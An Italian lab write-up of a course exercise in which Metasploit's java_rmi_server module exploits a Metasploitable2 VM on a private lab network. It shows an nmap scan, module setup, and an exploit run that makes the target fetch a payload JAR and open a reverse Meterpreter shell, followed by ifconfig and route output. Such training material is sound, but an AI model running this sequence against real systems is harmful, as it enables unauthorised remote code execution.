



Esercizio S7-L5

Attacco a Meta sfruttando la vulnerabilità al servizio java_rmi:

Nell'esercizio di oggi ci viene richiesto di effettuare un attacco a Meta con metasploit utilizzando una vulnerabilità nel servizio java_rmi e di ottenere le configurazioni della scheda di rete e le routing tables della macchina bersaglio.

Prima di cominciare andiamo a modificare gli indirizzi IP delle due macchine che useremo per questo esercizio e li configuriamo in questo modo:

- Kali : 192.168.11.111
- Metasploitable2 : 192.168.11.112

Il file per accedere alle configurazioni di entrambe le macchine si raggiunge col comando seguente <<sudo nano /etc/network/interfaces>>

```
GNU nano 2.0.7      File: /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface

auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1


[ Read 16 lines ]
^G Get Help  ^O WriteOut  ^R Read File  ^V Prev Page ^X Cut Text   ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^U Next Page ^U UnCut Text ^_ To Spell
```

```
GNU nano 7.2
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.1
```



Attacco a Meta sfruttando la vulnerabilità al servizio java_rmi:

Dopo aver modificato le configurazioni di rete delle due macchine le riavviamo ed effettuiamo un controllo per verificare che ci sia comunicazione eseguendo il comando `<<ping 192.168.11.112>>` su Kali.

Il ping riceve risposte dunque le due macchine comunicano fra di loro e possiamo procedere col nostro attacco.

```
(kali㉿kali)-[~]  
$ ping 192.168.11.112  
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.714 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.371 ms  
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.359 ms  
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.240 ms  
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.383 ms  
^C  
— 192.168.11.112 ping statistics —  
5 packets transmitted, 5 received, 0% packet loss, time 4087ms  
rtt min/avg/max/mdev = 0.240/0.413/0.714/0.158 ms
```

Attacco a Meta sfruttando la vulnerabilità al servizio java_rmi:

Il primo passo del nostro attacco è di fare un port scan della macchina bersaglio per verificare che il servizio java_rmi sia attivo e per verificare su quale porta sia in ascolto, per fare ciò ci serviamo di nmap.

Digitiamo il comando `<<nmap -sV -T5 192.168.11.112>>` ed osserviamo il risultato. Tra i vari servizi in ascolto osserviamo la presenza di java_rmi sulla porta 1099. Adesso abbiamo la conferma che il nostro attacco potrebbe andare a buon fine, dunque procediamo.

```
(kali@kali)-[~]
$ nmap -sV -T5 192.168.11.112
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-19 09:42 CET
Nmap scan report for 192.168.11.112
Host is up (0.0026s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; O:
```

Attacco a Meta sfruttando la vulnerabilità al servizio java_rmi:

Apriamo il framework di metasploit sulla macchina Kali col comando <<msfconsole>> e ricerchiamo un modulo di exploit per java_rmi col comando <<search java_rmi>>, come osserviamo il programma ne restituisce 4 e noi vogliamo utilizzare il secondo. Per selezionarlo diamo il comando <<use 1>

```
msf6 > search java_rmi

Matching Modules
=====
```

| # | Name | Disclosure Date | Rank | Check | Description |
|---|--|-----------------|-----------|-------|--|
| 0 | auxiliary/gather/java_rmi_registry | | normal | No | Java RMI Registry Interfaces Enumeration |
| 1 | exploit/multi/misc/java_rmi_server | 2011-10-15 | excellent | Yes | Java RMI Server Insecure Default Configuration Java Code Execution |
| 2 | auxiliary/scanner/misc/java_rmi_server | 2011-10-15 | normal | No | Java RMI Server Insecure Endpoint Code Execution Scanner |
| 3 | exploit/multi/browser/java_rmi_connection_impl | 2010-03-31 | excellent | No | Java RMIConnectionImpl Deserialization Privilege Escalation |

```
Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Attacco a Meta sfruttando la vulnerabilità al servizio java_rmi:

Diamo poi il comando <<show options>> per iniziare a configurare i parametri di attacco. Come possiamo notare è già largamente configurato e ciò che ci resta da fare è definire un bersaglio. Per fare ciò usiamo il comando <<set RHOSTS 192.168.11.112>> così avremo impostato l'indirizzo Ip di meta come bersaglio del nostro attacco.

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

| Name | Current Setting | Required | Description |
|-----------|-----------------|----------|---|
| HTTPDELAY | 10 | yes | Time that the HTTP Server will wait for the payload request |
| RHOSTS | | yes | The target host(s), see https://docs.metasploit.com/docs/using-metasploit |
| RPORT | 1099 | yes | The target port (TCP) |
| SRVHOST | 0.0.0.0 | yes | The local host or network interface to listen on. This must be an add |
| SRVPORT | 8080 | yes | The local port to listen on. |
| SSL | false | no | Negotiate SSL for incoming connections |
| SSLCert | | no | Path to a custom SSL certificate (default is randomly generated) |
| URIPATH | | no | The URI to use for this exploit (default is random) |

Payload options (java/meterpreter/reverse_tcp):


| Name | Current Setting | Required | Description |
|-------|-----------------|----------|--|
| LHOST | 192.168.11.111 | yes | The listen address (an interface may be specified) |
| LPORT | 4444 | yes | The listen port |

Exploit target:

| Id | Name |
|----|------------------------|
| 0 | Generic (Java Payload) |

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

Attacco a Meta sfruttando la vulnerabilità al servizio java_rmi:

L'attacco è stato configurato, non ci resta che lanciarlo col comando <<exploit>>

L'attacco è stato lanciato correttamente e ci si è aperta una sessione di meterpreter all'interno della macchina bersaglio.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/pG3RgVcSrrnaA4I
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:35100) at 2024-01-19 09:47:44 +0100
```

Attacco a Meta sfruttando la vulnerabilità al servizio java_rmi:

lanciando il comando <<ifconfig>> recuperiamo le configurazioni di rete della macchina bersaglio, mentre col comando <<route>> otteniamo informazioni riguardo le routing tables.

Avendo fatto tutto ciò abbiamo soddisfatto le richieste dell'esercizio che può considerarsi completato.

```
meterpreter > ifconfig

Interface 1
=====
Name : System : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fee4:3889
IPv6 Netmask : ::
```


Attacco a Meta sfruttando la vulnerabilità al servizio java_rmi:

```
meterpreter > netstat -rn
[-] The "netstat" command is not supported by this Meterpreter type (java/linux)
meterpreter > route -s
[-] Unsupported command: -s
meterpreter > route

IPv4 network routes

```

| Subnet | Netmask | Gateway | Metric | Interface |
|----------------|---------------|---------|--------|-----------|
| 127.0.0.1 | 255.0.0.0 | 0.0.0.0 | | |
| 192.168.11.112 | 255.255.255.0 | 0.0.0.0 | | |

```


IPv6 network routes

```

| Subnet | Netmask | Gateway | Metric | Interface |
|--------------------------|---------|---------|--------|-----------|
| ::1 | :: | :: | | |
| fe80::a00:27ff:fee4:3889 | :: | :: | | |

```
meterpreter > exit
[*] Shutting down Meterpreter ...

[*] 192.168.11.112 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit(multi/misc/java_rmi_server) > exit
```